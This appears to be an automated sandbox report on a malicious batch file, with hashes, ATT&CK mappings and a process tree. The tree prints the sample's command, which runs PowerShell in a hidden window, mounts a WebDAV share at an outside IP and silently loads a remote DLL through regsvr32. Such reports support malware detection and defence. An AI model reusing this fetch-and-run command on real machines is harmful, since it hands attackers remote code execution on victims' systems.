c67bb7cf5f521916e055dbc78c7906a669b8faddd07c81adf37583c88154fcee

Analysis

max time kernel
121s
max time network
126s
platform
windows7_x64
resource
win7-20240705-en
resource tags

arch:x64arch:x86image:win7-20240705-enlocale:en-usos:windows7-x64system
submitted
19/07/2024, 12:20

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General

Target

1921021764266226429.bat
Size

2KB
MD5

2e1d1eb89277d297b6bd1a04c895d3b7
SHA1

a1da2e0afa9225d959451117e41620d36e2bd114
SHA256

027448dee28eb60d3e1df438136e9019d831ccf00ded7554b6c91824318a30bc
SHA512

960b63e9147f0146064fa633c7aef989100714db580c30c279479e1519f105147fb03a5a6062a1afa8597abdb1edf129176e4f8dd6c1be9a1dba1be4f182c6ee

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2832	powershell.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2832	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2832	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
2864	wordpad.exe
2864	wordpad.exe
2864	wordpad.exe
2864	wordpad.exe
2864	wordpad.exe

Suspicious use of WriteProcessMemory 14 IoCs

description	pid	Process	procid_target
PID 2056 wrote to memory of 2864	2056	cmd.exe	31
PID 2056 wrote to memory of 2864	2056	cmd.exe	31
PID 2056 wrote to memory of 2864	2056	cmd.exe	31
PID 2056 wrote to memory of 2832	2056	cmd.exe	32
PID 2056 wrote to memory of 2832	2056	cmd.exe	32
PID 2056 wrote to memory of 2832	2056	cmd.exe	32
PID 2832 wrote to memory of 2664	2832	powershell.exe	34
PID 2832 wrote to memory of 2664	2832	powershell.exe	34
PID 2832 wrote to memory of 2664	2832	powershell.exe	34
PID 2832 wrote to memory of 2852	2832	powershell.exe	35
PID 2832 wrote to memory of 2852	2832	powershell.exe	35
PID 2832 wrote to memory of 2852	2832	powershell.exe	35
PID 2832 wrote to memory of 2852	2832	powershell.exe	35
PID 2832 wrote to memory of 2852	2832	powershell.exe	35

C:\Windows\system32\cmd.exe
cmd /c "C:\Users\Admin\AppData\Local\Temp\1921021764266226429.bat"
1⤵
- Suspicious use of WriteProcessMemory
PID:2056
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:2864
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\16894226955857.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2832
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:2664
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\16894226955857.dll
    3⤵
    PID:2852

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2832-23-0x000000001B630000-0x000000001B912000-memory.dmp

Filesize
2.9MB

Download
memory/2832-24-0x0000000002390000-0x0000000002398000-memory.dmp

Filesize
32KB

Download